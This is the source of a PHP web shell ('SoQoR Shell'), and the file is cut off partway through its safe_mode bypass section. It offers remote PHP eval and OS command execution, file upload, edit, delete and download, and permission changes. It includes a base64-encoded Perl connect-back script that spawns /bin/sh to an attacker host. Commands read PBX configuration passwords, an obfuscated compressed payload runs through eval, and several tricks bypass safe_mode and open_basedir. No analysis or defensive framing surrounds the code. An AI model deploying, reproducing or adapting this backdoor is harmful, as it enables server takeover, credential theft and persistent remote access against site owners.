PHP Decode

if(!checklogin($_SERVER["PHP_AUTH_USER"],$_SERVER["PHP_AUTH_PW"]))
 {
  header("WWW-Authenticate: Basic realm=\"Authenication Required\"");
  header("HTTP/1.0 401 Unauthorized");
  exit("Access Denied .. Reported to your isp provider .. !");
 }

function checklogin($USER,$PW)
{
     $pwd = 'aeb1ae6d167d80abb38e8e07eae36170';
    if(isset($_COOKIE['logged']) && ($_COOKIE['logged']==1)&&($_COOKIE['user'] == $USER)&& (md5(sha1(md5(base64_encode($_COOKIE['pass']))))==$pwd) )
    {
    return 1;
    }
    else
    {
     if($pwd==md5(sha1(md5(base64_encode($PW)))))
     {
          setcookie('logged','1',time()+3600);
          setcookie('pass',$PW,time()+3600);
          setcookie('user',$USER,time()+3600);
          return 1;
     }
     else
     {
          return 0;
     }
    }
}

if(version_compare(phpversion(), '4.1.0') == -1)
 {
  $_POST   = &$HTTP_POST_VARS;
  $_GET    = &$HTTP_GET_VARS;
  $_SERVER = &$HTTP_SERVER_VARS;
 }
error_reporting(7);
set_magic_quotes_runtime(0);
@set_time_limit(0);

   @ini_get("safe_mode");
   @ini_get("open_basedir");
   @ini_restore("safe_mode");
   @ini_restore("open_basedir");
   @ini_get("safe_mode");
   @ini_get("open_basedir");

@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('safe_mode','Off');

$link=$_SERVER['PHP_SELF'].'?';

$linkdata=(strlen($_SERVER['REQUEST_URI'])>3)?$_SERVER['REQUEST_URI']:$_SERVER['REQUEST_URI'];
$GETS = explode('?',$linkdata);

$GET  = $GETS['1'];
$vars = explode("&",base64_decode($GET));
foreach($vars as $key => $val)
{
  $GG = explode('=',$val);
  $_INPUT[$GG[0]]=$GG[1];
}
$sm = @ini_get('safe_mode');
$safemode = ($sm)?'On (Secured)':'Off';
        $_INPUT=array_merge($_INPUT,$_POST);
if(!eregi('WIN',$_SERVER['SERVER_SOFTWARE']))
{
    $windows=false;
    $directorysperator='/';
}
else
{
    $directorysperator='\';
    $windows=true;
}

if($_INPUT['CODE'] == 'file' && $_INPUT['do']=='down')
{
        $exp = explode($directorysperator,$_INPUT['path']);
        $num=count($exp)-1;
        $name=$exp[$num];
        header('Content-Disposition: attachment; filename='.$name.'');
        header('Content-length: '.filesize($_INPUT['path']).'');
        header('Content-type: unknown/unknown');
        if(!(readfile($_INPUT['path'])))
        {
          echo file_get_contents($_INPUT['path']);
        }

die();
}



$head        = 'PGh0bWw+CjxoZWFkPgo8bWV0YSBuYW1lPSJHRU5FUkFUT1IiIGNvbnRlbnQ9IlNvUW9SLk5lVCBUZWFtIj4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PXRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTY+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9YXItc2E+Cjx0aXRsZT5fX1RJVExFX18gLSBTb1FvUi5OZVQgU2hlbGw8L3RpdGxlPgo8L2hlYWQ+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHkKewogICAgICAgICBiYWNrZ3JvdW5kOiNFQkU5RUQ7CiAgICAgICAgIGNvbG9yOiM1RTVCNUI7CiAgICAgICAgIGZvbnQtc2l6ZToxMnB4OwogICAgICAgICBmb250LWZhbWlseTpWZXJkYW5hOwp9CmEKewogICAgICAgICBjb2xvcjojNGQ2ZDkxOwp9CmE6bGluawp7CiAgICAgICAgIGNvbG9yOiM0ZDZkOTE7CiAgICAgICAgIHRleHQtZGVjb3JhdGlvbjpub25lOwp9CmE6dmlzaXRlZAp7CiAgICAgICAgIGNvbG9yOiM0ZDZkOTE7CiAgICAgICAgIHRleHQtZGVjb3JhdGlvbjpub25lOwp9CmE6aG92ZXIKewogICAgICAgICBjb2xvcjojN0I3Nzc3OwogICAgICAgICB0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lOwp9CiNjb250ZW50cGFnZQp7CiAgICAgICAgIGJhY2tncm91bmQ6I0Y0RjRGNDsKICAgICAgICAgY29sb3I6IzZFNkU2RTsKICAgICAgICB3aWR0aDogOTUlOwogICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICM2RTZFNkU7CiAgICAgICAgbWFyZ2luOiBhdXRvIGF1dG87CiAgICAgICAgcGFkZGluZzogMjBweDsKICAgICAgICAgICAgICAgICBmb250LXNpemU6MTJweDsKICAgICAgICAgICAgICAgICBmb250LXdlaWdodDpib2xkOwp9CmlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0CnsKYm9yZGVyLXRvcC13aWR0aCA6IDFweDsKYm9yZGVyLXJpZ2h0LXdpZHRoIDogMXB4Owpib3JkZXItYm90dG9tLXdpZHRoIDogMXB4Owpib3JkZXItbGVmdC13aWR0aCA6IDFweDsKfQppbnB1dCB7IHRleHQtaW5kZW50IDogMnB4OyB9PC9zdHlsZT4KPGJvZHkgd2lkdGg9IjEwMCUiIGFsaWduPWNlbnRlcj4KCjx0YWJsZSBpZD0iY29udGVudHBhZ2UiIGFsaWduPSJjZW50ZXIiPjx0cj48dGQ+';
$backconnect = 'IyEvdXNyL2Jpbi9wZXJsCnVzZSBJTzo6U29ja2V0Owokc3lzdGVtICAgID0gJy9iaW4vc2gnOwokQVJHQz1AQVJHVjsKcHJpbnQgIkNvbm5lY3QgQmFjayBCYWNrZG9vciBGcm9tIFNvUW9SIFNoZWxsXG5IdHRwOi8vd3d3LnNvcW9yLm5ldFxuXG4iOwppZiAoJEFSR0MhPTIpIHsKICBwcmludCAiVXNhZ2U6ICQwIFtIb3N0XSBbUG9ydF0gXG5cbiI7CiAgZGllICJFeDogJDAgMTI3LjAuMC4xIDIxMjEgXG4iOwp9CnVzZSBTb2NrZXQ7CnVzZSBGaWxlSGFuZGxlOwpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOwpjb25uZWN0KFNPQ0tFVCwgc29ja2FkZHJfaW4oJEFSR1ZbMV0sIGluZXRfYXRvbigkQVJHVlswXSkpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gQ29ubmVjdCBIb3N0XG4iOwpwcmludCAiWypdIENvbm5lY3RpbmcuLi4gdG8gJEFSR1ZbMF0gcG9ydCAkQVJHVlsxXVxuIjsKcHJpbnQgIlsqXSBDb25uZWN0ZWQgdG8gcmVtb3RlIGhvc3QgXG4iOwpTT0NLRVQtPmF1dG9mbHVzaCgpOwpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsKb3BlbihTVERPVVQsIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCI+JlNPQ0tFVCIpOwpwcmludCAiQ29ubmVjdCBCYWNrIEJhY2tkb29yIEZyb20gU29Rb1IgU2hlbGxcbkh0dHA6Ly93d3cuc29xb3IubmV0XG5cbiI7CnN5c3RlbSgidW5zZXQgSElTVEZJTEU7IHVuc2V0IFNBVkVISVNUO2VjaG8gVW5hbWU7IHVuYW1lIC1hO2VjaG87CmVjaG8gSUQ7IGlkO2VjaG87ZWNobyBQV0Q7IHB3ZCIpOwpzeXN0ZW0oJHN5c3RlbSk7Cg==';
$aliases=array(
'create sub admin file ?'=>'ln ../admin ./atmin',
'read conf data DB'=>'cat /etc/amportal.conf | grep DB -i',
'read conf Password'=>'cat /etc/amportal.conf | grep pass -i',
'----------------------------------------------------------------------------------------------------'=>'ls -la'
);

 $commandsselects="";
foreach($aliases as $key => $val)
{
 $commandsselects.="<option value='$val'>$key</option>";
}
      $head=base64_decode($head);
Echo str_replace('__TITLE__',getenv('HTTP_HOST'),$head);
Echo 'uname -a : ';
if(!$windows)
{

if (!command('uname -a'))
{
  echo @php_uname();
}
else
{
  echo command('uname -a');
}

}
else
{
  Echo @php_uname();
}

if(($_POST['dirname']) && $_INPUT['CODE'] == 'dir' & $_INPUT['CODE'] == 'godir')
{
chdir($_POST['dirname']);
}
elseif(($_POST['dirname']) && $_INPUT['CODE'] == 'dir' & $_INPUT['CODE'] == 'crdir')
{
mkdir($_POST['dirname']);
chmod($_POST['dirname'],0777);
chdir($_POST['dirname']);

}
else
{
     if($_INPUT['CODE'] != 'file')
     {
        if($_INPUT['path'])
        {
         chdir($_INPUT['path']);
        }
     }
     else
     {
         chdir(dirname($_INPUT['path']));
     }
}

if(!$dir)
{
 $dir=GETCWD();
}
if(is_writable("./"))
{
$dir_rw = getcwd();
}
else
{
$dir_rw = "/tmp";
}


$md5=md5(random(5).md5(time()).random(5));
$md5=md5(md5(random(5).md5(time()).random(5)).$md5).'&';
Echo '<br>Safe Mode : ';
$scolor=($safemode == 'Off')?'Green':'Red';

 Echo '<font color="'.$scolor.'">'.$safemode.'</font>
 <br>PHP Version : '.@phpversion().'<br>Software :'.substr($_SERVER['SERVER_SOFTWARE'],0,120).'<br>';
 echo 'Disable functions : <b>';
if(''==($df=@ini_get('disable_functions'))){echo "
<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
$space  = @disk_total_space(GETCWD());
$free = @disk_free_space(GETCWD());
echo "
<br>Free : ".size($free).' Of '.size($space).' ('.ceil(($free/$space)*100).'%)';
Echo "
<br> ID :";
if (function_exists(posix_getgid)&&function_exists(posix_getuid))
{
$idgettid=' uid=('.posix_getuid().') gid=('.posix_getgid().')';
}
else
{
$idgettid=' Unknown/Nobody';
}
$id = (command('id'))? command('id') :$idgettid;

Echo "$id
<br>
".' Directory fast change : ';
/*
   Code From C99shell .. To Get Directory's and make switching easier
*/
$d = str_replace("\",$directorysperator,$dir);
if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
$d = str_replace("\","\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode($directorysperator,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
 $t = '';
 $j = 0;
 foreach ($e as $r)
 {
  $t.= $r.$directorysperator;
  if ($j == $i) {break;}
  $j++;
 }


$href=$md5.'CODE=dir&path='.$t;

 $href=base64_encode($href);
 echo '<a href="'.$link."$href\"><b>".htmlspecialchars($b).$directorysperator.'</b></a>';
 $i++;
}
/*
      Done ..
*/
if($windows !== false)
{

Echo '<br> Go To Another Partition On Windows System : ';
//$dirs=array('a','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r');
$dirs=array('c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r');
foreach($dirs as $key => $val)
{
$file=$val.'://';
 if(@file_exists($file) && @is_readable($file))
 {
  $href=$link.base64_encode($md5.'CODE=dir&path='.$file);
  Echo '<a href="'.$href.'">['.$val.']</a>&nbsp;&nbsp;';
 }
}

}
$array=array('phpcode','cmd','pbx','backconnect','mysql','phpinfo');
foreach($array as $key => $val)
{
$links[]=$link.base64_encode($md5."CODE=$val&path=".$dir);

}
Echo '</td><td align="center">SoQoR Shell <font color="red">V1.0</font><br>'
     ."
".'       <a href="http://www.soqor.net"><img src="http://greenrobot.com/greenrobotimages/pirateIcon.png" border="0"><br>WwW.SoQoR.NeT</a></td>'
     ."
".'       </tr><tr>'."
".'       <td colspan="2"><hr>'
     ."
".'       <center><a href="'.$link.'">[ Home ]</a> - <a href="'.$links[0].'">[ PHP CODE ]</a> - <a href="'.$links[1].'">[ Command Execution ]</a> - <a href="'.$links[2].'">[ PBX Functions ]</a> - <a href="'.$links[3].'">[ BackConnection ]</a> - <a href="'.$links[4].'">[ Mysql ]</a> - <a href="'.$links[5].'">[ PHPinfo ]</a>  - <a href="http://www.soqor.net">[ Exit ]</a></center>'
     ."
".'       </td></tr></table>'
     ."
".'       <br><table align=center style="background:#F4F4F4;color:#6E6E6E;width: 95%;border: 1px solid #6E6E6E;margin: auto auto;font-size:12px;font-weight:bold;"><tr><td><center><b>Owned by HACKERS PAL &lt;'."
".'<a href="mailto:[email protected]">[email protected]</a>&gt;</b></center></td></tr></table>'."
".'       <br><table id="contentpage" align=center><tr><td colspan="7">';

if($_INPUT['CODE'] == 'phpinfo')
{
Echo "</td></tr></table><dev align=left>";
phpinfo();
}
if($_INPUT['CODE'] == 'dir' || !$_INPUT['CODE'])
{
if($_INPUT['do']=='up')
{

        if(function_exists('copy'))
        {
         @copy($_FILES['file']['tmp_name'],$_INPUT['path'].$directorysperator.$_FILES['file']['name']);
        }
        else
        {
         @move_uploaded_file($_FILES['file']['tmp_name'],$_INPUT['path'].$directorysperator.$_FILES['file']['name']);
        }
          if(file_exists($_INPUT['path'].$directorysperator.$_FILES['file']['name']))
          {
            Echo '<font color="green">Successfully Uploaded to '.$_INPUT['path'].$directorysperator.$_FILES['file']['name'];
          }
          else
          {
            Echo '<font color="red">Unable To Upload File';
          }
          Echo '</font>';
}
$files = array();
$dirs  = array();

 $odir=opendir($dir);
 while($file = readdir($odir))
 {
   if(is_dir($dir.'/'.$file))
   {
     $dirs[]=$file;
   }
   else
   {
     $files[]=$file;
   }
 }
  sort($dirs);
  sort($files);
Echo '<font size="1"><center> Listing folder ['.$dir.'] || ('.count($dirs).' Dirs And '.count($files).' Files)</center></font><hr></td></tr>';
    Echo '<tr><td width="30%">Name</td>
              <td>Size</td>
              <td>Read</td>
              <td>Modify</td>
              <td>Owner/Group</td>
              <td>Permissions</td>
              <td>Actions</td></tr>';

foreach($dirs as $key => $val)
{
$dirvalues=array('name'=>$val,
                 'size'=>'dir',
                 'modify' => (is_writable($dir.$directorysperator.$val)?'Yes':'No'),
                 'read' => (is_readable($dir.$directorysperator.$val)?'Yes':'No'),
                 'owner' => owner($dir.$directorysperator.$val),
                 'permissions' => getperms($dir.$directorysperator.$val));

 Echo printfile($dirvalues);
}
$files=($files);
foreach($files as $key => $val)
{

$fvalues=array('name'=> $val,
               'size'=> size(@filesize($dir.$directorysperator.$val)),
               'modify' => (is_writable($dir.$directorysperator.$val)?'Yes':'No'),
               'read' => (is_readable($dir.$directorysperator.$val)?'Yes':'No'),
               'owner' => owner($dir.$directorysperator.$val),
               'permissions' => getperms($dir.$directorysperator.$val));
 Echo printfile($fvalues);
}
}
elseif($_INPUT['CODE'] == 'perms')
{
echo "Changing Permission for : ".$_INPUT['path'];
      if(empty($_POST['newper']))
      {
         $perms=shownumperms(@fileperms($_INPUT['path']));
         Echo "
<br>Current Permission is : 0".$perms;
           $perhref=$md5.'CODE=perms&'.'path='.$_INPUT['path'];
           $newlink=$link.base64_encode($perhref);
         Echo '<center>Enter New Permissions <form action="'.$newlink.'" method="post">
         <input type="text" name="newper" value="0'.$perms.'"><br>
         <input type=submit value="Change Permissions"></form></center>';
      }
      else
      {
         @chmod($_INPUT['path'],$_POST['newper']);
         Echo "<br><br>Permission changed to : ".$_POST['newper'];;
      }


}
elseif($_INPUT['CODE'] == 'file')
{
if($_INPUT['do'] =='edit' || $_INPUT['do'] =='save')
{

if($_INPUT['do'] != 'edit')
{
$contents=$_POST['text'];
if(get_magic_quotes_gpc())
{
$contents = stripslashes($contents);
}
$fp=fopen($_INPUT['path'],w9);
fwrite($fp,$contents);
fclose($fp);

$newtext='<h2><font color=green>Saved !</font></h2>';
}

Echo '<font size="1">'.$newtext.'<center> Editing File = '.$_INPUT['path'].'</center></font><hr></td></tr>';
$href=$md5."CODE=file&do=save&path=".$_INPUT['path'];
$action=$link.base64_encode($href);
Echo '<tr><td colspan="6"><form action="'.$action.'" method=post><textarea name="text" rows=15 cols=70>';
echo htmlspecialchars(file_get_contents($_INPUT['path']));
Echo '</textarea><br><br>';
        if(is_writable($_INPUT['path']))
        {
            Echo '<input type=submit value=" -  - save -  - ">';
        }
        else
        {
            Echo '<font color="red">This File is Read Only and no permission to edit</font>';
        }
}
elseif($_INPUT['do']=='create')
{

if(get_magic_quotes_gpc())
{
$_POST['file']= stripslashes($_POST['file']);
}


Echo '<font size="1"><center> Creating File = '.$_POST['file'].'</center></font><hr></td></tr>';
$href=$md5."CODE=file&do=save&path=".$_POST['file'];
$action=$link.base64_encode($href);
Echo '<tr><td colspan="6"><form action="'.$action.'" method=post><textarea name="text" rows=15 cols=70>';
echo 'Owned By HACKERS PAL (Edit here)';
Echo '</textarea><br><br>';
        if(is_writable($_INPUT['path']))
        {
            Echo '<input type=submit value=" -  - save -  - ">';
        }
        else
        {
            Echo '<font color="red">This Folder is Read Only and no permission to Create a file</font>';
        }
}
elseif($_INPUT['do']=="del")
{
if($_INPUT['d'] == 'del')
{
$href=$md5."CODE=dir&path=".dirname($_INPUT['path']);
$action=$link.base64_encode($href);
unlink($_INPUT['path']);
die('<meta http-equiv="Refresh" content="0; URL='.$action.'">');
}

if(get_magic_quotes_gpc())
{
$_POST['file']= stripslashes($_POST['file']);
}


Echo '<font size="1"><center> Deleting File = '.$_INPUT['path'].'</center></font><hr></td></tr>';
$href=$md5."CODE=file&do=del&d=del&path=".$_INPUT['path'];
$action=$link.base64_encode($href);
Echo '<tr><td colspan="6"><form action="'.$action.'" method=post><center>Are You Sure You Want to delete this file ??<br><br>';
        if(is_writable($_INPUT['path']))
        {
            Echo '<input type=submit value=" -  - Delete File -  - ">';
        }
        else
        {
            Echo '<font color="red">This File is Read Only and no permission to Delete</font>';
        }
}
else
{

Echo '<font size="1"><center> Viewing File = '.$_INPUT['path'].'</center></font><hr></td></tr>';
Echo '<tr><td colspan="6">';
if(!(show_source($_INPUT['path'])))
{
echo htmlspecialchars(file_get_contents($_INPUT['path']));

}
Echo '<br><br>';
}
}
elseif($_INPUT['CODE'] == 'phpcode')
{

 Echo '<font size="1"><center> Executing PHP CODE</center></font><hr></td></tr>';
 Echo '<tr><td colspan="6"><center>';
if(isset($_POST['phpcode']))
{
if(get_magic_quotes_gpc())
{
$_POST['phpcode'] = stripslashes($_POST['phpcode']);
}
Echo 'Result Of Evaling The Code<br><textarea name="evaledphpcode" cols="90" rows="10">';
eval($_POST['phpcode']);
Echo '</textarea>';
}
$action=$links[0];
Echo '<form name="phpcode" action="'.$action.'" method="post"><br><textarea name="phpcode" cols="90" rows="10">'.htmlspecialchars($_POST['phpcode']).'</textarea><br><br><input type=submit value="Execute Code"></form>';

Echo '</center><br><br>';
}
elseif($_INPUT['CODE'] == 'cmd')
{

 Echo '<font size="1"><center> Executing Commands To The Server</center></font><hr></td></tr>'
      .'<tr><td colspan="6"><center>';
if(isset($_POST['cdm']))
{
if(get_magic_quotes_gpc())
{
$_POST['cdm'] = stripslashes($_POST['cdm']);
}
Echo 'Result Of Executing Command<br><textarea name="executed" cols="90" rows="10">';
Echo command($_POST['cdm']);
Echo '</textarea>';
}
$action=$links[1];
Echo '<form name="command" action="'.$action.'" method="post"><br><textarea name="cdm" cols="90" rows="10">'.htmlspecialchars($_POST['cdm']).'</textarea><br><br><input type=submit value="Execute Command"></form>';

Echo '</center><br><br>';
}
elseif($_INPUT['CODE'] == 'pbx')
{

 Echo '<font size="1"><center> PBX Functions</center></font><hr></td></tr>'
      .'<tr><td colspan="6"><center>';
       $vall = "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";
if(isset($_POST['cdm']))
{
if(get_magic_quotes_gpc())
{
$_POST['cdm'] = stripslashes($_POST['cdm']);
}
Echo 'Result Of Executing Command<br>';

            if($_POST['cdm']==1)
            {
            echo "<pre>";
             eval(gzuncompress(base64_decode($vall)));
            echo "</pre>";
            }
            else
            {
               command("ln -s ../admin atmin");
               echo "<a href='atmin'>Admin Here</a>";
            }


}
$action=$links[2];
Echo '<form name="command" action="'.$action.'" method="post"><input type="hidden" name="cdm" value="1"><input type=submit value="Change Password"></form>';
Echo '<form name="command" action="'.$action.'" method="post"><input type="hidden" name="cdm" value="2"><input type=submit value="Create Atmin"></form>';

Echo '</center><br><br>';


}
elseif($_INPUT['CODE'] == 'backconnect')
{
 Echo '<font size="1"><center> ConnectBack Backdoor</center></font><hr></td></tr>
        <tr><td colspan="6"><center>';
if($_POST['backdoored'] == 1)
{
if(is_writable($dir))
{
 $d=$dir;
}
else
{
 if(!$windows)
 {
 $d='/tmp';
 }
 else
 {
 $d='c:\windows	emp';
 }
}
 $fp = fopen($d.'/sq.pl','w9');
 fwrite($fp,base64_decode($backconnect));
 fclose($fp);
 if(!$windows)
 {
     $perl='perl';
 }
 else
 {
     $perl="c:\perlin\perl.exe";
 }
 $command = $perl.' '.$d.$directorysperator.'sq.pl '.$_POST['i'].' '.$_POST['p'];
 Echo 'Runing Connect-Back backdoor ..<br>';
 Echo nl2br(htmlspecialchars(command($command)));
 Echo "<br>";
}

$action=$links[3];
Echo "<form name=\"backcon\" action=\"$action\" method=\"post\">
<input type=\"hidden\" name=\"backdoored\" value=\"1\">
<input type=\"text\" name=\"i\" value=\"".getip()."\"> : <input type=\"text\" name=\"p\" value=\"22290\"><br><br><input type=submit value=\"Connect-Back\"></form>";
Echo "</center>";

}
elseif($_INPUT['CODE']=='bypass')
{

if($_INPUT['do']=='bypass_file')
{
$filename = stripslashes($_POST['filename']);
Echo "Reading File : ".$filename." By ".$_POST['bug']."<br><br>

";

 // 'Tempname','CURL','Copy','Ini_Restore','IMAP','ReadFile','File_Get_Contents','Shell_Command','Id Only /etc/passwd'
 if($_POST['bug']=='Tempname')
 {
  $temp=tempnam($dir_rw, "cx");

  if(copy("compress.zlib://".$filename, $temp)){
  $zrodlo = fopen($temp, "r");
  $tekst = fread($zrodlo, @filesize($temp));
  fclose($zrodlo);
  echo "<B>--- Start File ".htmlspecialchars($filename)."
  -------------</B><br>
".nl2br(htmlspecialchars($tekst))."
<B>--- End File
  ".htmlspecialchars($filename)." ---------------
";
  unlink($temp);
  } else {
  die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
  <B>".htmlspecialchars($filename)."</B> dosen't exists or you don't have
  access.</CENTER></FONT>");
  }
 }
 elseif($_POST['bug']=='CURL')
 {
    echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
    $m=$_POST['curl'];
    $ch =
    @curl_init("file:///".$m."/../../../../../../../../../../../../".__FILE__);
    @curl_exec($ch);
    @var_dump(curl_exec($ch));
    echo "</textarea>";
 }
 elseif($_POST['bug']=='Copy')
 {
 @copy($filename,$dir_rw.$directorysperator.md5(time()).".sq");
    echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
      $fp = fopen($dir_rw.$directorysperator.md5(time()).".sq", "r");
      $contents = fread($fp, @filesize($dir_rw.$directorysperator.md5(time()).".sq"));
      fclose($fp);
      Echo htmlspecialchars($contents);
    echo "</textarea>";
     @unlink($dir_rw.$directorysperator.md5(time()).".sq");
 }
 elseif($_POST['bug']=='Ini_Restore')
 {
   echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
   echo ini_get("safe_mode");
   echo ini_get("open_basedir");
   ini_restore("safe_mode");
   ini_restore("open_basedir");
   echo ini_get("safe_mode");
   echo ini_get("open_basedir");
   readfile("$filename");
   echo "</textarea>";
 }
 elseif($_POST['bug']=='IMAP')
 {
  echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";

  $stream = @imap_open($filename, "", "");

  $str = @imap_body($stream, 1);
  echo "<pre>".htmlspecialchars($str)."</pre>";
  @imap_close($stream);
  echo "</textarea>";
 }
 elseif($_POST['bug']=='ReadFile')
 {
  echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  @readfile($filename);
  echo "</textarea>";
 }
 elseif($_POST['bug']=='File_Get_Contents')
 {
  echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  Echo htmlspecialchars(file_get_contents(($filename)));
  echo "</textarea>";
 }
 elseif($_POST['bug']=='Shell_Command')
 {
